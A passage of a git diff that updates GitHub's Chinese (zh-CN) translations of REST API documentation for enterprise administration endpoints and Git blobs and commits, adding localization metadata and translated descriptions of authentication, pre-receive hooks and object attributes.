100644 --- a/translations/zh-CN/content/rest/enterprise-admin/announcement.md +++ b/translations/zh-CN/content/rest/enterprise-admin/announcement.md @@ -1,16 +1,19 @@ --- -title: Announcement -intro: The Announcement API allows you to manage the global announcement banner in your enterprise. +title: 公告 +intro: 公告 API 使你能够管理企业中的全局公告横幅。 versions: ghes: '*' ghae: '*' topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: e3394dd67e06c362bb26c547f34124e8a7a198af +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147883017' --- +## 公告 -## Announcement - -The Announcements API allows you to manage the global announcement banner in your enterprise. For more information, see "[Customizing user messages for your enterprise](/admin/user-management/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner)." - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} +公告 API 允许您管理企业中的全局公告横幅。 有关详细信息,请参阅“[为企业自定义用户消息](/admin/user-management/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner)”。 diff --git a/translations/zh-CN/content/rest/enterprise-admin/billing.md b/translations/zh-CN/content/rest/enterprise-admin/billing.md index ff04adef94..ecae02ba68 100644 --- a/translations/zh-CN/content/rest/enterprise-admin/billing.md +++ b/translations/zh-CN/content/rest/enterprise-admin/billing.md @@ -1,5 +1,5 @@ --- -title: Billing +title: 计费 intro: '' versions: fpt: '*' @@ -8,6 +8,11 @@ versions: topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 81da9a3e3e7dfaf02bf12fd9b67c90048784e834 +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147060022' --- -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} diff --git a/translations/zh-CN/content/rest/enterprise-admin/global-webhooks.md b/translations/zh-CN/content/rest/enterprise-admin/global-webhooks.md index d50e201ec0..5c90ea5f85 100644 --- a/translations/zh-CN/content/rest/enterprise-admin/global-webhooks.md +++ b/translations/zh-CN/content/rest/enterprise-admin/global-webhooks.md @@ -1,16 +1,19 @@ --- -title: Global Webhooks -intro: 'Global Webhooks are installed on your enterprise. You can use global webhooks to automatically monitor, respond to, or enforce rules for users, organizations, teams, and repositories on your enterprise.' +title: 全局 Webhook +intro: 全局 Webhook 安装在企业上。 您可以使用全局 web 挂钩来自动监视、响应或实施针对企业上的用户、组织、团队和仓库的规则。 versions: ghes: '*' ghae: '*' topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 66186eeba470274d91b61aaae700e25716c26ef5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147067224' --- +全局 Webhook 可以订阅[组织](/developers/webhooks-and-events/webhook-events-and-payloads#organization)、[用户](/developers/webhooks-and-events/webhook-events-and-payloads#user)、[存储库](/developers/webhooks-and-events/webhook-events-and-payloads#repository)、[团队](/developers/webhooks-and-events/webhook-events-and-payloads#team)、[成员](/developers/webhooks-and-events/webhook-events-and-payloads#member)、[成员身份](/developers/webhooks-and-events/webhook-events-and-payloads#membership)、[分支](/developers/webhooks-and-events/webhook-events-and-payloads#fork)和 [ping](/developers/webhooks-and-events/about-webhooks#ping-event) 事件类型。 -Global webhooks can subscribe to the [organization](/developers/webhooks-and-events/webhook-events-and-payloads#organization), [user](/developers/webhooks-and-events/webhook-events-and-payloads#user), [repository](/developers/webhooks-and-events/webhook-events-and-payloads#repository), [team](/developers/webhooks-and-events/webhook-events-and-payloads#team), [member](/developers/webhooks-and-events/webhook-events-and-payloads#member), [membership](/developers/webhooks-and-events/webhook-events-and-payloads#membership), [fork](/developers/webhooks-and-events/webhook-events-and-payloads#fork), and [ping](/developers/webhooks-and-events/about-webhooks#ping-event) event types. - -*This API is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. To learn how to configure global webhooks, see [About global webhooks](/enterprise/admin/user-management/about-global-webhooks). - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} +此 API 仅适用于[经过身份验证的](/rest/overview/resources-in-the-rest-api#authentication)网站管理员。 如果普通用户尝试访问它,他们将收到 `404` 响应。 若要了解如何配置全局 Webhook,请参阅[关于全局 Webhook](/enterprise/admin/user-management/about-global-webhooks)。 diff --git a/translations/zh-CN/content/rest/enterprise-admin/index.md b/translations/zh-CN/content/rest/enterprise-admin/index.md index 4e9927d3a9..bfa53e27c5 100644 --- a/translations/zh-CN/content/rest/enterprise-admin/index.md +++ b/translations/zh-CN/content/rest/enterprise-admin/index.md @@ -1,6 +1,6 @@ --- -title: GitHub Enterprise administration -intro: You can use these endpoints to administer your enterprise. +title: GitHub Enterprise 管理 +intro: 可以使用这些终结点来管理企业。 allowTitleToDifferFromFilename: true redirect_from: - /v3/enterprise-admin @@ -20,6 +20,7 @@ children: - /announcement - /audit-log - /billing + - /code-security-and-analysis - /global-webhooks - /ldap - /license @@ -31,54 +32,52 @@ children: - /repo-pre-receive-hooks - /users - /scim +ms.openlocfilehash: 19688f806101c8022b64dfc21806b79338917353 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065591' --- - {% ifversion fpt or ghec %} {% note %} -**Note:** This article applies to {% data variables.product.prodname_ghe_cloud %}. To see the {% data variables.product.prodname_ghe_managed %} or {% data variables.product.prodname_ghe_server %} version, use the **{% data ui.pages.article_version %}** drop-down menu. +注意:本文章适用于 {% data variables.product.prodname_ghe_cloud %}。 要查看 {% data variables.product.prodname_ghe_managed %} 或 {% data variables.product.prodname_ghe_server %} 版本,请使用 {% data ui.pages.article_version %} 下拉菜单。 {% endnote %} {% endif %} -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} +### 端点 URL -### Endpoint URLs - -REST API endpoints{% ifversion ghes %}—except [Management Console](#management-console) API endpoints—{% endif %} are prefixed with the following URL: +REST API 终结点{% ifversion ghes %}([管理控制台](#management-console) API 终结点除外){% endif %} 是以下 URL 的前缀: ```shell {% data variables.product.api_url_pre %} ``` -{% ifversion fpt or ghec %} -When endpoints include `{enterprise}`, replace `{enterprise}` with the handle for your enterprise account, which is included in the URL for your enterprise settings. For example, if your enterprise account is located at `https://github.com/enterprises/octo-enterprise`, replace `{enterprise}` with `octo-enterprise`. +{% ifversion fpt or ghec %} 当终结点包含 `{enterprise}` 时,将 `{enterprise}` 替换为企业帐户的句柄,该句柄包含在企业设置的 URL 中。 例如,如果企业帐户位于 `https://github.com/enterprises/octo-enterprise`,请用 `octo-enterprise` 替换 `{enterprise}`。 {% endif %} -{% ifversion ghes %} -[Management Console](#management-console) API endpoints are only prefixed with a hostname: +{% ifversion ghes %} [管理控制台](#management-console) API 终结点仅以主机名为前缀: ```shell -http(s)://HOSTNAME/ +http(s)://hostname/ ``` -{% endif %} -{% ifversion ghae or ghes %} -### Authentication +{% endif %} {% ifversion ghae or ghes %} +### 身份验证 -Your {% data variables.product.product_name %} installation's API endpoints accept [the same authentication methods](/rest/overview/resources-in-the-rest-api#authentication) as the GitHub.com API. You can authenticate yourself with **[OAuth tokens](/apps/building-integrations/setting-up-and-registering-oauth-apps/)** {% ifversion ghes %}(which can be created using the [Authorizations API](/rest/reference/oauth-authorizations#create-a-new-authorization)) {% endif %}or **[basic authentication](/rest/overview/resources-in-the-rest-api#basic-authentication)**. {% ifversion ghes %} -OAuth tokens must have the `site_admin` [OAuth scope](/developers/apps/scopes-for-oauth-apps#available-scopes) when used with Enterprise-specific endpoints.{% endif %} +{% data variables.product.product_name %} 安装的 API 终结点接受与 GitHub.com API [相同的身份验证方法](/rest/overview/resources-in-the-rest-api#authentication)。 可通过 [OAuth 标记](/apps/building-integrations/setting-up-and-registering-oauth-apps/){% ifversion ghes %}(可使用[授权 API](/rest/reference/oauth-authorizations#create-a-new-authorization) 创建){% endif %}或[基本身份验证](/rest/overview/resources-in-the-rest-api#basic-authentication)自行进行身份验证 。 {% ifversion ghes %} OAuth 标记用于企业特定的终结点时必须具有 `site_admin` [OAuth 范围](/developers/apps/scopes-for-oauth-apps#available-scopes)。{% endif %} -Enterprise administration API endpoints are only accessible to authenticated {% data variables.product.product_name %} site administrators{% ifversion ghes %}, except for the [Management Console](#management-console) API, which requires the [Management Console password](/enterprise/admin/articles/accessing-the-management-console/){% endif %}. +企业管理 API 终结点只有经过身份验证的 {% data variables.product.product_name %} 站点管理员{% ifversion ghes %}可以访问,但[管理控制台](#management-console) API 例外,它需要[管理控制台密码](/enterprise/admin/articles/accessing-the-management-console/){% endif %}。 {% endif %} {% ifversion ghae or ghes %} -### Version information +### 版本信息 -The current version of your enterprise is returned in the response header of every API: -`X-GitHub-Enterprise-Version: {{currentVersion}}.0` -You can also read the current version by calling the [meta endpoint](/rest/reference/meta/). +企业当前版本在每个 API 的响应头中返回:`X-GitHub-Enterprise-Version: {{currentVersion}}.0` +还可通过调用[元终结点](/rest/reference/meta/)来读取当前版本。 {% endif %} diff --git a/translations/zh-CN/content/rest/enterprise-admin/ldap.md b/translations/zh-CN/content/rest/enterprise-admin/ldap.md index c4727266f5..d420968694 100644 --- a/translations/zh-CN/content/rest/enterprise-admin/ldap.md +++ b/translations/zh-CN/content/rest/enterprise-admin/ldap.md @@ -1,13 +1,16 @@ --- title: LDAP -intro: 'You can use the LDAP API to update account relationships between a {% data variables.product.product_name %} user or team and its linked LDAP entry or queue a new synchronization.' +intro: '您可以使用 LDAP API 来更新 {% data variables.product.product_name %} 用户或团队与其关联的 LDAP 条目之间的帐户关系,或者排队新同步。' versions: ghes: '*' topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 0948fbf02aea86d01a7034ae6b1836c0f69ca6e2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065336' --- - -With the LDAP mapping endpoints, you're able to update the Distinguished Name (DN) that a user or team maps to. Note that the LDAP endpoints are generally only effective if your {% data variables.product.product_name %} appliance has [LDAP Sync enabled](/enterprise/admin/authentication/using-ldap). The [Update LDAP mapping for a user](#update-ldap-mapping-for-a-user) endpoint can be used when LDAP is enabled, even if LDAP Sync is disabled. - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} +通过 LDAP 映射端点,您可以更新用户或团队所映射的识别名称 (DN) 。 请注意,仅当 {% data variables.product.product_name %} 设备 [启用了 LDAP 同步](/enterprise/admin/authentication/using-ldap)时,LDAP 终结点通常才有效。 即使已禁用 LDAP 同步,也可以在启用 LDAP 后使用[为用户更新 LDAP 映射](#update-ldap-mapping-for-a-user)终结点。 diff --git a/translations/zh-CN/content/rest/enterprise-admin/license.md b/translations/zh-CN/content/rest/enterprise-admin/license.md index 6af199deca..82dd5a59cf 100644 --- a/translations/zh-CN/content/rest/enterprise-admin/license.md +++ b/translations/zh-CN/content/rest/enterprise-admin/license.md @@ -1,6 +1,6 @@ --- -title: License -intro: The License API provides information on your Enterprise license. +title: 许可证 +intro: 许可 API 提供有关企业许可的信息。 versions: ghes: '*' ghae: '*' @@ -8,8 +8,11 @@ versions: topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 5d47f972922a44292ffe4b32e4f90aae250e0948 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147572646' --- - -*It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} +它仅适用于[经过身份验证的](/rest/overview/resources-in-the-rest-api#authentication)网站管理员。 如果普通用户尝试访问它,他们将收到 `404` 响应。 diff --git a/translations/zh-CN/content/rest/enterprise-admin/management-console.md b/translations/zh-CN/content/rest/enterprise-admin/management-console.md index 8bf82468bd..db362a06d0 100644 --- a/translations/zh-CN/content/rest/enterprise-admin/management-console.md +++ b/translations/zh-CN/content/rest/enterprise-admin/management-console.md @@ -1,37 +1,40 @@ --- -title: Management Console -intro: 'The Management Console API helps you manage your {% data variables.product.product_name %} installation.' +title: 管理控制台 +intro: '管理控制台 API 可帮助您管理 {% data variables.product.product_name %} 安装设施。' versions: ghes: '*' topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: da38513a04525b858e041188eec6f691db9be1d9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065536' --- - {% tip %} -You must explicitly set the port number when making API calls to the Management Console. If TLS is enabled on your enterprise, the port number is `8443`; otherwise, the port number is `8080`. +在对管理控制台进行 API 调用时,必须明确设置端口号。 如果企业启用了 TLS,则端口号为 `8443`;否则,端口号为 `8080`。 -If you don't want to provide a port number, you'll need to configure your tool to automatically follow redirects. +如果您不想提供端口号,则需要将工具配置为自动遵循重定向。 -You may also need to add the [`-k` flag](http://curl.haxx.se/docs/manpage.html#-k) when using `curl`, since {% data variables.product.product_name %} uses a self-signed certificate before you [add your own TLS certificate](/enterprise/admin/guides/installation/configuring-tls/). +使用 `curl` 时可能还需要添加 [`-k` 标志](http://curl.haxx.se/docs/manpage.html#-k),因为在[添加自己的 TLS 证书](/enterprise/admin/guides/installation/configuring-tls/)之前,{% data variables.product.product_name %} 使用自签名证书。 {% endtip %} -### Authentication +### 身份验证 -You need to pass your [Management Console password](/enterprise/admin/articles/accessing-the-management-console/) as an authentication token to every Management Console API endpoint except [`/setup/api/start`](#create-a-github-enterprise-server-license). +需要将[管理控制台密码](/enterprise/admin/articles/accessing-the-management-console/)作为身份验证令牌传递给除 [`/setup/api/start`](#create-a-github-enterprise-server-license) 之外的每个管理控制台 API 终结点。 -Use the `api_key` parameter to send this token with each request. For example: +使用 `api_key` 参数在每个请求中发送此令牌。 例如: ```shell -$ curl -L 'https://HOSTNAME:ADMIN-PORT/setup/api?api_key=YOUR_PASSWORD' +$ curl -L 'https://hostname:admin_port/setup/api?api_key=your-amazing-password' ``` -You can also use standard HTTP authentication to send this token. For example: +还可以使用标准 HTTP 身份验证发送此令牌。 例如: ```shell -$ curl -L -u "api_key:YOUR_PASSWORD" 'https://HOSTNAME:ADMIN-PORT/setup/api' +$ curl -L -u "api_key:your-amazing-password" 'https://hostname:admin_port/setup/api' ``` - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} diff --git a/translations/zh-CN/content/rest/enterprise-admin/org-pre-receive-hooks.md b/translations/zh-CN/content/rest/enterprise-admin/org-pre-receive-hooks.md index 44a2256f6e..5ed0e29c8b 100644 --- a/translations/zh-CN/content/rest/enterprise-admin/org-pre-receive-hooks.md +++ b/translations/zh-CN/content/rest/enterprise-admin/org-pre-receive-hooks.md @@ -1,25 +1,28 @@ --- -title: Organization Pre-receive Hooks -intro: The Organization Pre-receive Hooks API allows you to view and modify enforcement of the pre-receive hooks that are available to an organization. +title: 组织预接收挂钩 +intro: 组织预接收挂钩 API 允许你查看和修改组织可用的预接收挂钩的实施。 versions: ghes: '*' topics: - API miniTocMaxHeadingLevel: 3 allowTitleToDifferFromFilename: true +ms.openlocfilehash: 802ed40ac8e42c1f0a9ef3b6bab4a150dd68603c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147063960' --- +### 对象属性 -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} - -### Object attributes - -| Name | Type | Description | +| 名称 | 类型 | 说明 | |----------------------------------|-----------|-----------------------------------------------------------| -| `name` | `string` | The name of the hook. | -| `enforcement` | `string` | The state of enforcement for the hook on this repository. | -| `allow_downstream_configuration` | `boolean` | Whether repositories can override enforcement. | -| `configuration_url` | `string` | URL for the endpoint where enforcement is set. | +| `name` | `string` | 挂钩的名称。 | +| `enforcement` | `string` | 此仓库中挂钩的实施状态。 | +| `allow_downstream_configuration` | `boolean` | 仓库是否可以覆盖实施。 | +| `configuration_url` | `string` | 设置实施的端点 URL。 | -Possible values for *enforcement* are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected. +强制执行的可能值为 `enabled`、`disabled` 和 `testing`。 `disabled` 表示预接收挂钩不会运行。 `enabled` 表示它将运行并拒绝任何导致非零状态的推送。 `testing` 表示脚本将运行但不会导致任何推送被拒绝。 -`configuration_url` may be a link to this endpoint or this hook's global configuration. Only site admins are able to access the global configuration. +`configuration_url` 可能是指向此终结点或此挂钩的全局配置的链接。 只有站点管理员才能访问全局配置。 diff --git a/translations/zh-CN/content/rest/enterprise-admin/orgs.md b/translations/zh-CN/content/rest/enterprise-admin/orgs.md index 4f5bfb8d52..d74918c0a9 100644 --- a/translations/zh-CN/content/rest/enterprise-admin/orgs.md +++ b/translations/zh-CN/content/rest/enterprise-admin/orgs.md @@ -1,6 +1,6 @@ --- -title: Organizations -intro: The Organization Administration API allows you to create organizations on your enterprise. +title: 组织 +intro: 组织管理 API 允许您在企业上创建组织。 versions: ghes: '*' ghae: '*' @@ -8,8 +8,11 @@ topics: - API miniTocMaxHeadingLevel: 3 allowTitleToDifferFromFilename: true +ms.openlocfilehash: dde98174176217083a0c0960a069ed266e5fb413 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147061960' --- - -*It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} +它仅适用于[经过身份验证的](/rest/overview/resources-in-the-rest-api#authentication)网站管理员。 如果普通用户尝试访问它,他们将收到 `404` 响应。 diff --git a/translations/zh-CN/content/rest/enterprise-admin/pre-receive-environments.md b/translations/zh-CN/content/rest/enterprise-admin/pre-receive-environments.md index f03da691ea..0bf4f54a05 100644 --- a/translations/zh-CN/content/rest/enterprise-admin/pre-receive-environments.md +++ b/translations/zh-CN/content/rest/enterprise-admin/pre-receive-environments.md @@ -1,36 +1,39 @@ --- -title: Pre-receive Environments -intro: 'The Pre-receive Environments API allows you to create, list, update and delete environments for pre-receive hooks.' +title: 预接收环境 +intro: 预接收环境 API 允许您创建、列出、更新和删除预接收挂钩的环境。 versions: ghes: '*' ghae: '*' topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 9db8635691ae2f8fcb8649b648948763168081ac +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147883260' --- +它仅适用于[经过身份验证的](/rest/overview/resources-in-the-rest-api#authentication)网站管理员。 如果普通用户尝试访问它,他们将收到 `404` 响应。 -*It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. +### 对象属性 -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} +#### 预接收环境 -### Object attributes - -#### Pre-receive Environment - -| Name | Type | Description | +| 名称 | 类型 | 说明 | |-----------------------|-----------|----------------------------------------------------------------------------| -| `name` | `string` | The name of the environment as displayed in the UI. | -| `image_url` | `string` | URL to the tarball that will be downloaded and extracted. | -| `default_environment` | `boolean` | Whether this is the default environment that ships with {% data variables.product.product_name %}. | -| `download` | `object` | This environment's download status. | -| `hooks_count` | `integer` | The number of pre-receive hooks that use this environment. | +| `name` | `string` | UI 中显示的环境名称。 | +| `image_url` | `string` | 将要下载并解压缩的 tarball 的 URL。 | +| `default_environment` | `boolean` | 这是否是 {% data variables.product.product_name %} 附带的默认环境。 | +| `download` | `object` | 此环境的下载状态。 | +| `hooks_count` | `integer` | 使用此环境的预接收挂钩数量。 | -#### Pre-receive Environment Download +#### 预接收环境下载 -| Name | Type | Description | +| 名称 | 类型 | 说明 | |-----------------|----------|---------------------------------------------------------| -| `state` | `string` | The state of the most recent download. | -| `downloaded_at` | `string` | The time when the most recent download started. | -| `message` | `string` | On failure, this will have any error messages produced. | +| `state` | `string` | 最近下载的状态。 | +| `downloaded_at` | `string` | 最近下载开始的时间。 | +| `message` | `string` | 在失败时生成任何错误消息。 | -Possible values for `state` are `not_started`, `in_progress`, `success`, `failed`. +`state` 的可能值为 `not_started`、`in_progress`、`success`、`failed`。 diff --git a/translations/zh-CN/content/rest/enterprise-admin/pre-receive-hooks.md b/translations/zh-CN/content/rest/enterprise-admin/pre-receive-hooks.md index e9fdf6e4a8..6304bd2467 100644 --- a/translations/zh-CN/content/rest/enterprise-admin/pre-receive-hooks.md +++ b/translations/zh-CN/content/rest/enterprise-admin/pre-receive-hooks.md @@ -1,29 +1,31 @@ --- -title: Pre-receive Hooks -intro: 'The Pre-receive Hooks API allows you to create, list, update and delete pre-receive hooks.' +title: 预接收挂钩 +intro: 预接收挂钩 API 允许您创建、列出、更新和删除预接收挂钩。 versions: ghes: '*' topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: dd776e7ec95a970f025d4de1ec03f07b2a7b29f7 +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147066152' --- +它仅适用于[经过身份验证的](/rest/overview/resources-in-the-rest-api#authentication)网站管理员。 如果普通用户尝试访问它,他们将收到 `404` 响应。 -*It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. +### 对象属性 -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} +#### 预接收挂钩 -### Object attributes - -#### Pre-receive Hook - -| Name | Type | Description | +| 名称 | 类型 | 说明 | |----------------------------------|-----------|-----------------------------------------------------------------| -| `name` | `string` | The name of the hook. | -| `script` | `string` | The script that the hook runs. | -| `script_repository` | `object` | The GitHub repository where the script is kept. | -| `environment` | `object` | The pre-receive environment where the script is executed. | -| `enforcement` | `string` | The state of enforcement for this hook. | -| `allow_downstream_configuration` | `boolean` | Whether enforcement can be overridden at the org or repo level. | +| `name` | `string` | 挂钩的名称。 | +| `script` | `string` | 挂钩运行的脚本。 | +| `script_repository` | `object` | 保存脚本的 GitHub 仓库。 | +| `environment` | `object` | 执行脚本的预接收环境。 | +| `enforcement` | `string` | 此挂钩的实施状态。 | +| `allow_downstream_configuration` | `boolean` | 是否可以在组织或仓库级别上覆盖实施。 | -Possible values for *enforcement* are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject -any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected. +强制执行的可能值为 `enabled`、`disabled` 和 `testing`。 `disabled` 表示预接收挂钩不会运行。 `enabled` 表示它将运行并拒绝任何导致非零状态的推送。 `testing` 表示脚本将运行但不会导致任何推送被拒绝。 diff --git a/translations/zh-CN/content/rest/enterprise-admin/repo-pre-receive-hooks.md b/translations/zh-CN/content/rest/enterprise-admin/repo-pre-receive-hooks.md index cd2153eedf..8b82b4caae 100644 --- a/translations/zh-CN/content/rest/enterprise-admin/repo-pre-receive-hooks.md +++ b/translations/zh-CN/content/rest/enterprise-admin/repo-pre-receive-hooks.md @@ -1,24 +1,27 @@ --- -title: Repository Pre-receive Hooks -intro: The Repository Pre-receive Hooks API allows you to view and modify enforcement of the pre-receive hooks that are available to a repository. +title: 存储库预接收挂钩 +intro: 存储库预接收挂钩 API 允许你查看和修改存储库可用的预接收挂钩的强制执行。 versions: ghes: '*' topics: - API miniTocMaxHeadingLevel: 3 allowTitleToDifferFromFilename: true +ms.openlocfilehash: 63ba6f4f7d67b43dd39609a6520a0938365cfc12 +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/12/2022 +ms.locfileid: '147888466' --- +### 对象属性 -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} - -### Object attributes - -| Name | Type | Description | +| 名称 | 类型 | 说明 | |---------------------|----------|-----------------------------------------------------------| -| `name` | `string` | The name of the hook. | -| `enforcement` | `string` | The state of enforcement for the hook on this repository. | -| `configuration_url` | `string` | URL for the endpoint where enforcement is set. | +| `name` | `string` | 挂钩的名称。 | +| `enforcement` | `string` | 此仓库中挂钩的实施状态。 | +| `configuration_url` | `string` | 设置实施的端点 URL。 | -Possible values for *enforcement* are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected. +强制执行的可能值为 `enabled`、`disabled` 和 `testing`。 `disabled` 表示预接收挂钩不会运行。 `enabled` 表示它将运行并拒绝任何导致非零状态的推送。 `testing` 表示脚本将运行但不会导致任何推送被拒绝。 -`configuration_url` may be a link to this repository, it's organization owner or global configuration. Authorization to access the endpoint at `configuration_url` is determined at the owner or site admin level. +`configuration_url` 可能是此存储库、其组织所有者或全局配置的链接。 `configuration_url` 终结点的访问授权在所有者或站点管理员级别确定。 diff --git a/translations/zh-CN/content/rest/enterprise-admin/users.md b/translations/zh-CN/content/rest/enterprise-admin/users.md index b5548dd5c7..f5a68de063 100644 --- a/translations/zh-CN/content/rest/enterprise-admin/users.md +++ b/translations/zh-CN/content/rest/enterprise-admin/users.md @@ -1,14 +1,17 @@ --- -title: Users -intro: 'The User Administration API allows you to suspend{% ifversion ghes %}, unsuspend, promote, and demote{% endif %}{% ifversion ghae %} and unsuspend{% endif %} users on your enterprise.' +title: 用户 +intro: '用户管理 API 允许您暂停{% ifversion ghes %}、取消暂停、升级和降级{% endif %}{% ifversion ghae %} 以及取消暂停{% endif %} 企业上的用户。' versions: ghes: '*' ghae: '*' topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: a483065af09a2baef774cb8ce256350945106faa +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147063168' --- - -*It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `403` response if they try to access it. - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} +它仅适用于[经过身份验证的](/rest/overview/resources-in-the-rest-api#authentication)网站管理员。 如果普通用户尝试访问它,他们将收到 `403` 响应。 diff --git a/translations/zh-CN/content/rest/git/blobs.md b/translations/zh-CN/content/rest/git/blobs.md index 0ee48eb830..460c39cc0b 100644 --- a/translations/zh-CN/content/rest/git/blobs.md +++ b/translations/zh-CN/content/rest/git/blobs.md @@ -2,7 +2,7 @@ title: Git Blob shortTitle: Blobs allowTitleToDifferFromFilename: true -intro: 通过 Git blob API,你可以创建和获取 Git blob(二进制大型对象),该对象类型用于将每个文件的内容存储在存储库中。 +intro: 使用 REST API 与 Git blob(二进制大型对象)交互,该对象类型用于将每个文件的内容存储在存储库中。 versions: fpt: '*' ghes: '*' @@ -11,14 +11,14 @@ versions: topics: - API miniTocMaxHeadingLevel: 3 -ms.openlocfilehash: 3b7cac6d268fb4c7e786651a7281ca5ce4241ec5 -ms.sourcegitcommit: cfe91073c844cb762131b2de9fb41f7f9db792fc +ms.openlocfilehash: b29c69d2635e20720d23aad62c7aa88984cff984 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 11/24/2022 -ms.locfileid: '148181243' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192719' --- -## 关于 Git Blob API +## 关于 Git Blob Git Blob(二进制大对象)是用于将每个文件的内容存储在仓库中的对象类型。 文件的 SHA-1 哈希在 Blob 对象中计算和存储。 通过这些终结点,可以在 {% data variables.product.product_name %} 上读取 [blob 对象](https://git-scm.com/book/en/v2/Git-Internals-Git-Objects)并将其写入 Git 数据库。 Blob 利用[这些自定义媒体类型](#custom-media-types-for-blobs)。 你可以在[此处](/rest/overview/media-types)阅读有关 API 中媒体类型使用情况的更多信息。 diff --git a/translations/zh-CN/content/rest/git/commits.md b/translations/zh-CN/content/rest/git/commits.md index 64690e1efe..efecd046a8 100644 --- a/translations/zh-CN/content/rest/git/commits.md +++ b/translations/zh-CN/content/rest/git/commits.md @@ -2,7 +2,7 @@ title: Git 提交 shortTitle: Commits allowTitleToDifferFromFilename: true -intro: '可通过 Git 提交 API 在 {% data variables.product.product_name %} 上读取提交对象并将其写入 Git 数据库。' +intro: '使用 REST API 与 {% data variables.product.product_name %} 上的 Git 数据库中的提交对象进行交互。' versions: fpt: '*' ghes: '*' @@ -11,13 +11,13 @@ versions: topics: - API miniTocMaxHeadingLevel: 3 -ms.openlocfilehash: 2b0f1e07134b67be6c00f8bf1c65d9ccf0c2aac5 -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: 07813929bac1dc0ff6093b302449f1f7beb905c0 +ms.sourcegitcommit: 